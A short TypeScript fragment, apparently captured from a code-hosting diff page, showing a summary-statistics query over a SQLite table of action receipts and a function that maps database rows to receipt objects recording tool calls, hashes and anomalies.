const total = (this.db.prepare("SELECT COUNT(*) as c FROM receipts").get() as any).c;
|
||||||
|
const byTier = Object.fromEntries(
|
||||||
|
(this.db.prepare("SELECT tier, COUNT(*) as c FROM receipts GROUP BY tier").all() as any[])
|
||||||
|
.map((r: any) => [r.tier, r.c]),
|
||||||
|
);
|
||||||
|
const anomalyCount = (this.db.prepare(
|
||||||
|
"SELECT COUNT(*) as c FROM receipts WHERE anomalies != '[]'",
|
||||||
|
).get() as any).c;
|
||||||
|
return { total, byTier, anomalyCount };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function rowToReceipt(row: any): ActionReceipt {
|
||||||
|
return {
|
||||||
|
id: row.id,
|
||||||
|
timestamp: row.timestamp,
|
||||||
|
sessionKey: row.session_key,
|
||||||
|
tier: row.tier,
|
||||||
|
toolName: row.tool_name,
|
||||||
|
argumentsHash: row.arguments_hash,
|
||||||
|
resultHash: row.result_hash,
|
||||||
|
success: row.success === 1,
|
||||||
|
durationMs: row.duration_ms,
|
||||||
|
anomalies: JSON.parse(row.anomalies ?? "[]"),
|
||||||
|
daCommitment: row.da_commitment ?? undefined,
|
||||||
|
};
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user